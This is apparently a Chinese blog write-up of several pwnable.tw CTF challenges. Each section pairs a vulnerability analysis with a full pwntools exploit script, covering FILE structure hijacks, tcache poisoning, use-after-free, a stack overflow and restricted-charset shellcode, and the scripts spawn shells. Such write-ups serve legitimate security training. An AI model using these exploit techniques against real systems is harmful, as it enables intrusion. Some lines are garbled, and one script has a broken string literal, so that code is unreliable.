1、open:调用fopen打开指定文件,但是不能打开名为flag的文件,文件指针放在全局变量fp中
2、read:根据fp读取0x18f字节到全局变量magicbuf中
3、write:打印magicbuf中的内容,但是不能打印含'flag','FLAG','}'的内容
4、close:调用fclose关闭文件fp
5、exit:可输入一串字符,存放在全局变量name中,且如果fp不为空,fclose(fp)

漏洞:

这是一道文件题,漏洞就出现在exit退出时输入的name,因为没有控制长度,所以存在溢出,而name下方就是fp,所以可以覆盖到fp;

利用:

所以思路就是构造fack FILE,从而使得fclose执行system('/bin/sh'),但是前提要先泄漏出libc,由于linux独特的文件形式存储,文件的内容信息储存在/proc/pid/maps中,这里的pid用self来代替,如下:

1
2
3
4
5
08048000-0804a000 r-xp 00000000 08:00 249799                             /home/seethefile/seethefile
0804a000-0804b000 r--p 00001000 08:00 249799 /home/seethefile/seethefile
0804b000-0804c000 rw-p 00002000 08:00 249799 /home/seethefile/seethefile
09e31000-09e53000 rw-p 00000000 00:00 0 [heap]
f7540000-f754100

几个IO_FILE的知识:

1
2
3
4
1、_IO_FILE结构大小为0x94,可能版本一样会有所不同?
2、_flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)
3、将fp指向一块内存p,p你让我懂0的前4个字节设置为0xffffdfff,p偏移4的位置放上参数';/bin/sh'(字符要以;开头);p偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存q,q的2*4字节处(vtable->_finish)覆盖为system即可
4、vtable是个虚标指针,里面一般性是21or23个变量,我们需要改的是第三个,别的填充些正常的地址就好

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./seethefile')
elf = ELF('./seethefile')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10200")
elf = ELF('./seethefile')
libc = ELF('./libc_32.so.6')
#内存地址随机化
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def open():
sla("choice :",'1')
sla("see :",'/proc/self/maps')

def show():
sla("choice :",'2')
sla("choice :",'3')

def close():
sla("choice :",'4')

def exit(name):
sla("choice :",'5')
sla("name :",name)
open()
show()
# show()

ru("[heap]\n")
libc_base = int(rc(8),16)+0x1000
system = libc_base + libc.symbols['system']
log.warn("libc_base --> %s",hex(libc_base))
log.warn("system --> %s",hex(system))

fack_vtable = 0x804B300
pay = 0x20*'a' + p32(fack_vtable) + 'b'*0x7c
pay += '\xff\xff\xdf\xff;/bin/sh\x00'.ljust(0x94,'\x00')
pay += p32(fack_vtable+0x98)
pay += p32(system)*21

# gdb.attach(p,"b *0x08048B0F")
exit(pay)
sl("cd home/seethefile")
sl("./get_flag")
ru("Your magic :")
sl("Give me the flag")
# gdb.attach(p)
p.interactive()

tcache_tear

环境:ubuntu18;保护除PIE个全开

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

程序功能:

1
2
3
4
Name:输入到bss段
1、malloc:通过malloc申请chunk,任意大小
2、free:free ptr上的堆指针,没有清空ptr,存在UAF,只能free 7次,所以不能通过多次free将chunk放到unsorted bin中去
3、info:打印name

思路:利用house_of_spirit释放name,只要name够大,就会直接放到unsorted bin,将main_arena+96写入到name中去,show获得地址;接下来再利用tcache将free_hook地址改写成system,free(‘/bin/sh\x00’)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./tcache_tear')
elf = ELF('./tcache_tear')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10207")
elf = ELF('./tcache_tear')
libc = ELF('./libc.so)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)

def init(pay):
ru("Name:")
sl(pay)
def malloc(size,data):
ru("choice :")
sl('1')
ru("Size:")
sl(str(size))
ru("Data:")
sl(data)
def free():
ru("choice :")
sl('2')
def info():
ru("choice :")
sl('3')

name_addr = 0x602060

pay = p64(0) + p64(0x501)
init(pay)

malloc(0x68,'a')
free()
free()
malloc(0x68,p64(name_addr+0x500))
malloc(0x68,'b')
pay = p64(0) + p64(0x21) + p64(0) + p64(0) #name's fd
malloc(0x68,pay*2)

malloc(0x70,'a')
free()
free()
malloc(0x70,p64(name_addr + 0x10))
malloc(0x70,'n0va')
malloc(0x70,'R4bb1t')
free()
info()
main_arena = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-96
libc_base = main_arena - 0x3ebc40
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
log.warn("main_arena --> %s",hex(main_arena))
log.warn("libc_base --> %s",hex(libc_base))
log.warn("free_hook --> %s",hex(free_hook))
log.warn("system --> %s",hex(system))
malloc(0x50,'a')
free()
free()
malloc(0x50,p64(free_hook))
malloc(0x50,'b')
malloc(0x50,p64(system))
malloc(8,'/bin/sh\x00')
free()
# gdb.attach(p)
p.interactive()

babystack

这题还是挺有趣的,保护全开,但是没什么影响

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

程序有两个功能,登录和,copy

login

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
sub_CA0((unsigned __int8 *)&s, 0x7Fu);
v1 = strlen(&s);
if ( strncmp(&s, a1, v1) )
return puts("Failed !");
unk_202014 = 1;
return puts("Login Success !");
}

输入密码登录,但是因为这个密码的长度是由我们控制的,所以可能一位一位爆破出来

copy

1
2
3
4
5
6
7
8
9
int __fastcall copy(char *a1)
{
char src; // [rsp+10h] [rbp-80h]

printf("Copy :");
sub_CA0((unsigned __int8 *)&src, 0x3Fu);
strcpy(a1, &src);
return puts("It is magic copy !");
}

神奇的是这个函数,在这里造成地址泄漏和溢出,这里控制了输入的长度看似没有溢出,但是因为src的栈空间跟login中s的栈空间是重合的,而login函数中能够输入0x7f个字节,所以可以溢出覆盖password;

1
2
3
4
login(s) : 0x7fffffffdb30 (+ 0x7f) 
copy(src) : 0x7fffffffdb30 (+ 0x3f) (copy to 0x7fffffffdbc0)
password addr : 0x7fffffffdb78
main ret = 0x7fffffffdc28

0x7fffffffdb30往下刚好有个libc地址可以写入到password,然后再爆破一次password就可以泄露出libc地址

接下来把原先的password填回去,再将ret填为onegadget就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./babystack')
# elf = ELF('./')
# libc = elf.libc
else:
p = remote("chall.pwnable.tw","10205")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
def logout():
sla(">> ",'1')

def exit():
sla(">> ",'2')

def login(pwd,flag = 0):
sla(">> ",'1')
if flag:
sda("passowrd :",pwd)
else:
sla("passowrd :",pwd)

def copy(data):
sla(">> ",'3')
sda("Copy :",data)

def pwd(pwd,l=0x10):
# pwd = ''
while len(pwd)<l:
log.info(hex(len(pwd)))
for i in range(1,0x100):
login(pwd + chr(i))
if "Success" in p.recvline():
logout()
pwd += chr(i)
break
return pwd

pswd = pwd('')
log.warn("first step done!")
pause()
print pswd
# debug(0xE1e)
login(0x49*'a',1)
login(pswd)
debug(0xEBB)
copy('a'*0x3f)
logout()

out = pwd('a'*9,0xe)
log.warn("link libc done!")
libc_base = u64(out[8:].ljust(8,'\x00'))-0x61-0x78400
onegadget = libc_base + one[0]
log.success("libc_base --> %s",hex(libc_base))
log.success("onegadget --> %s",hex(onegadget))
# debug(0xE1e)
pay = 0x40*'A' + pswd
pay = pay.ljust(0x68,'b')
pay += p64(onegadget)
login(pay,1)
login(out)
copy(0x3f*'a')

# debug(0xff1)
exit()
sl("cat /home/babystack/flag")
p.interactive()

# login 0x7fffffffdb30 + 0x7f ret addr : 0x7fffffffdbb8
# copy 0x7fffffffdb30 + 0x3f (copy to 0x7fffffffdbc0)---> ret addr : 0x7fffffffdbb8
# passowrd addr : 0x7fffffffdb78
# main ret = 0x7fffffffdc28

# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

spirited_away

用到的知识很常规,但是漏洞点很巧妙
主体函数survey

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int survey()
{
char message; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t size; // [esp+4Ch] [ebp-ACh]
char comment; // [esp+50h] [ebp-A8h]
int age; // [esp+A0h] [ebp-58h]
void *name; // [esp+A4h] [ebp-54h]
int reason; // [esp+A8h] [ebp-50h]

nbytes = 60;
size = 80;
LABEL_2:
memset(&comment, 0, 0x50u);
name = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, name, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &age);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, &reason, size);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, &comment, nbytes);
++cnt;
printf("Name: %s\n", name);
printf("Age: %d\n", age);
printf("Reason: %s\n", &reason);
printf("Comment: %s\n\n", &comment);
fflush(stdout);
sprintf(&message, "%d comment so far. We will review them as soon as we can", cnt);
puts(&message);
puts(&s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 89 || choice == 121 )
{
free(name);
goto LABEL_2;
}
if ( choice == 78 || choice == 110 )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

函数的漏洞点就在sprintf上sprintf(&message, "%d comment so far. We will review them as soon as we can", cnt);有一说一,很巧妙,

1
2
>>> hex(len(" comment so far. We will review them as soon as we can"))
'0x36'

再看一下各个变量的位置

1
2
3
4
5
6
7
8
9
10
char message; // [esp+10h] [ebp-E8h]
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t size; // [esp+4Ch] [ebp-ACh]
char comment; // [esp+50h] [ebp-A8h]
int age; // [esp+A0h] [ebp-58h]
void *name; // [esp+A4h] [ebp-54h]
int reason; // [esp+A8h] [ebp-50h]

nbytes = 60;
size = 80;

可以看到message跟nbytes的距离为0xe8-0xb0 = 0x38,所以当cnt为3位数时,message就溢出了,刚好’n’覆盖到nbytes,那么nbytes由0x3c –> 0x6e,就造成name,跟comment处的溢出,而comment往下存着name的指针,可以覆盖为栈地址,free再申请出来,通过name处的溢出实现栈溢出

溢出地址的话就是在reason处没有初始化清0泄漏
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 0
if local:
p = process('./spirited_away')
elf = ELF('./spirited_away')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10204")
elf = ELF('./spirited_away')
# libc = elf.libc
libc = ELF('./libc_32.so.6')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def pwn(name,age,reason,comment):
sla("name: ",name)
sla("age: ",str(age))
sda("movie? ",reason)
sla("comment: ",comment)

def pwn2(age,reason):
sla("age: ",str(age))
sda("movie? ",reason)
sda("<y/n>: ",'y')

def exp():
# gdb.attach(p,"b *0x804878A")
pwn("R4bb1t",1,'a'*4*0xe,'b')
ru('a'*4*0xe)
stack = u32(rc(4))
fack_chunk = stack - 0x60
rc(4)
libc_base = u32(rc(4)) - 11 - libc.symbols['fflush']
system = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()
log.warn("stack --> %s",hex(stack))
log.warn("libc_base --> %s",hex(libc_base))

sda("<y/n>: ",'y')
for i in range(9):
pwn("R4bb1t",i,'a\n','b')
sda("<y/n>: ",'y')
for i in range(90):
log.warn("i --> %d",i)
pwn2(i,'a\x00')
# gdb.attach(p,"b *0x80488C9")
pwn("R4bb1t",1,0x8*'a' + p32(0) + p32(0x41) + 'a'*0x38 + p32(0) +p32(0x11),0x54*'b' + p32(fack_chunk))
sda("<y/n>: ",'y')
pay = 0x44*'b' + p32(system) + p32(0) + p32(binsh_addr)
pwn(pay,1,'c','d')
sda("<y/n>: ",'n')
p.interactive()

'''
name_ptr = 0xffffcd24
age = 0xffffcd20
reason = 0xffffcd28
comment = 0xffffccd0
nbytes = 0xffffccc8
v3 = 0xffffcccc
'''
exp()
# p.interactive()

secretgarden

常规堆题,在remove中存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int delete()
{
int result; // eax
_DWORD *v1; // rax
unsigned int v2; // [rsp+4h] [rbp-14h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( !unk_202024 )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x63 && (v1 = qword_202040[v2]) != 0LL )
{
*v1 = 0;
free(*(qword_202040[v2] + 8LL)); // UAF
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}

所以利用方法很简单,先泄漏libc地址,再利用uaf申请到malloc_hook附近修改malloc_hook为Onegadget getshell
(我眼瞎了看成了堆大小被限制成0x63去做了,有更直接的做法,我就懒得再打个exp了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./secretgarden')
elf = ELF('./secretgarden')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10203")
# elf = ELF('./')
libc = ELF('./libc_64.so.6')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,name,color):
sla(" : ",'1')
sla("name :",str(size))
sda("flower :",name)
sda("flower :",color)

def show():
sla(" : ",'2')

def remove(idx):
sla(" : ",'3')
sla("garden:",str(idx))

def clean():
sla(" : ",'4')

if local:
one = [0x45216,0x4526a,0xf02a4,0xf1147]
else:
one = [0x45216,0x4526a,0xef6c4,0xf0567]

chunk = 0x202040
# debug(0xD18)
add(0x48, 'a'*0x30 + p64(0) + p64(0x51),'blue\n')
add(0x48,'b\n','blue\n')
remove(0)
remove(1)
remove(0)

add(0x48,'\x80','hello\n')
add(0x48,'c\n','blue\n')
add(0x48,'d','blue\n')
add(0x48,0x30*'\x00' + p64(0) + p64(0xb1),'blue\n')
remove(3)
add(0x48,'a','blue\n')
show()
ru("flower[2] :")
heap_base = u64(rc(6).ljust(8,'\x00')) - 0x1064
ru("flower[6] :")
if local:
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c4b61
else:
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c3b61
realloc = libc_base + libc.symbols['realloc']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23

onegadget = libc_base + one[2]
log.warn("heap_base --> %s",hex(heap_base))
log.warn("libc_base --> %s",hex(libc_base))

add(0x63,'first\n','blue\n')
add(0x63,'second\n','blue\n')
remove(7)
remove(8)
remove(7)

add(0x63,p64(fack_chunk),'blue\n')
add(0x63,'1\n','1\n')
add(0x63,'2\n','2\n')
add(0x63,'a'*0x13 + p64(onegadget),'blue\n')
# sla(" : ",'1')
remove(11)
remove(11)
# debug()
p.interactive()

alive_note

又是一道shellcode,漏洞点跟death_note一样,不过字符限制得更少了

1
0x0  0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5a 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79 0x7a

但是因为堆块是利用strdup申请的,存在0截断,所以0x0是没用的
且每段shellcode被控制在8字节内read_input(&s, 8u);
https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html 参考一些资料这些有限的字符还是可以做很多事情的
再来看看堆的头,因为长度被限制在了8,所以申请出来的堆大小都是0x10 所以头部为00 00 00 00 11 00 00 00 其对应的汇编:

1
2
3
4
print disasm("\x00\x00\x00\x00\x11\x00\x00\x00")
0: 00 00 add BYTE PTR [eax],al
2: 00 00 add BYTE PTR [eax],al
4: 11 00 adc DWORD PTR [eax],eax

所以只需要控制eax为一个可写字段就行了
接下来就是写汇编,我是写了一个

1
2
3
read(0,shellcode,0x80)
push ecx
ret

读入shellcode并执行
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./alive_note')
else:
p = remote("chall.pwnable.tw","10300")

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(idx,name):
sla("choice :",'1')
sla("Index :",str(idx))
sda("Name :",name)

def show(idx):
sla("choice :",'2')
sla("Index :",str(idx))

def delete(idx):
sla("choice :",'3')
sla("Index :",str(idx))

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

pay = '''
/*read(0,shellcode,size) eax = 0x3*/
/*add_1 8*/
pop edx
pop edx
push 0x4d
pop ecx
xor [edx+0x66],cl

/*add_2 8*/
push 0x7a
pop ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx

/*add_3 8*/
inc ecx
xor [edx+0x66],cl /*int 0x80*/
xor [edx+0x67],cl
push ecx

/*add_4 6*/
xor [edx+0x69],cl
push 0x43
pop ecx

/*add_5 6*/
xor [edx+0x69],cl /*ret*/
push 0x51
pop ecx

/*add_6 8*/
xor [edx+0x68],cl /*push ecx*/
pop edx /*0x80*/
pop ecx
inc ecx
push ecx
push eax

/*add_7 6*/
push eax
pop eax
push eax
pop eax
pop ecx
pop eax

'''
pay = asm(pay)
add(-0x1b,pay[0:8] + '\n') #free
add(0,pay[8:16] + '\n')
add(0,pay[16:24] + '\n')
add(0,pay[24:30] + '\n')
add(0,pay[30:36] + '\n')
add(0,pay[36:44] + '\n')
add(0,pay[44:50] + '\n')

add(0,'\x00' + '\n')
# gdb.attach(p,"b *0x80488EA")
delete(-0x1b)
sl(shellcode_x86)

p.interactive()

re-alloc

给的libc是2.29版本的,不过只要是2.29以上版本都可

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

got表可写,没开PIE,再看一眼功能

1
2
3
4
5
6
7
8
9
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 RE Allocator 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. Alloc $
$ 2. Realloc $
$ 3. Free $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

功能1和2平平无奇,重点在于realloc,这是一个神奇的函数

1
2
3
4
5
6
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
3.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
4.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr

利用思路

很明显realloc功能中存在UAF,但是也有一个比较难受的限制 :只允许申请两个chunk,于是就需要好好构造了。

1、先申请一个0x20大小的chunk1,利用uaf将atoll@got写到tcache[0x20]

1
2
3
4
5
6
pwndbg> tcachebins
tcachebins
0x20 [ 1]: 0x405260 __ 0x404048 (atoll@got.plt) __ ...
pwndbg> telescope 0x4040B0
00:0000_ 0x4040b0 (heap) __ 0x405260 __ 0x404048 (atoll@got.plt) __ 0x7ffff7e1c2f0 (atoll) __ mov edx, 0xa
01:0008_ 0x4040b8 (heap+8) __ 0x0

2、将chunk1申请出来,realloc(ptr,size)修改chunk1的size为0x30,再次利用uaf将atoll@got写到tcache[0x30]

1
2
3
4
5
6
7
8
pwndbg> tcachebins
tcachebins
0x20 [ 0]: 0x404048 (atoll@got.plt) __ ...
0x30 [ 0]: 0x404048 (atoll@got.plt) __ ...
pwndbg> telescope 0x4040B0
00:0000_ 0x4040b0 (heap) __ 0x405260 __ 0x626262 /* 'bbb' */
... _
02:0010_ 0x4040c0 __ 0x0

3、此时tcache上已经有两个atoll@got了,但是此时chunk也满两个,修改chunk1为0x40,0x50并free

1
2
3
4
5
6
7
8
pwndbg> tcachebins
tcachebins
0x20 [ 0]: 0x404048 (atoll@got.plt) __ ...
0x30 [ 0]: 0x404048 (atoll@got.plt) __ ...
0x40 [ 1]: 0x405260 __ 0x0
0x50 [ 1]: 0x405260 __ 0x0
pwndbg> telescope 0x4040B0
00:0000_ 0x4040b0 (heap) __ 0x0

4、用其中一个atoll@got修改atoll@gotprintf泄漏libc

5、用另一个atoll@got修改atoll@gotsystem;注意此时的atollprintf,所以在调用atoll时需要输入的IndexSize不是数字,而是通过输入的字符的长度来控制 printf 的返回值传给IndexSize。由于read长度限制在16,可以通过’%nc’来控制

6、最后再输入/bin/sh\x00调用atoll来执行system('/bin/sh\x00')getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#coding:utf-8
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./re-alloc')
elf = ELF('./re-alloc')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10106")
elf = ELF('./re-alloc')
libc = elf.libc

def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("choice: ",str(idx))

def add(idx,size,data):
choice(1)
sla("Index:",str(idx))
sla("Size:",str(size))
sda("Data:",data)

def realloc(idx,size,data=''):
choice(2)
sla("Index:",str(idx))
sla("Size:",str(size))
if size != 0:
sda("Data:",data)

def free(idx):
choice(3)
sla("Index:",str(idx))

add(0,8,"hello")
realloc(0,0)
realloc(0,8,p64(elf.got['atoll']))
add(1,8,'n0va')
realloc(1,0x20,'aaa')
free(1)
realloc(0,0x20,p64(elf.got['atoll']))
add(1,0x20,'bbb')
realloc(0,0x30,'bbb')
free(0)
realloc(1,0x40,'ccc')
free(1)
add(0,0x18,p64(elf.plt['printf']))
# leak address
choice(1)
#gdb.attach(p,"b *0x40129D")
sla("Index:","%3$p")
read_chk = int(ru('\n').strip('\n'),16) - 9
libc_base = read_chk - libc.symbols['__read_chk']
system = libc_base + libc.symbols['system']

show("libc_base: ",libc_base)
show("system: ",system)

# change atoll to system
choice(1)
sda("Index:",'a')
#gdb.attach(p,"b *0x40129D")
sda("Size:",'%32c')
sda("Data:",p64(system))

# get shell
choice(1)
sda("Index:",'/bin/sh\x00')

#gdb.attach(p)

p.interactive()
0%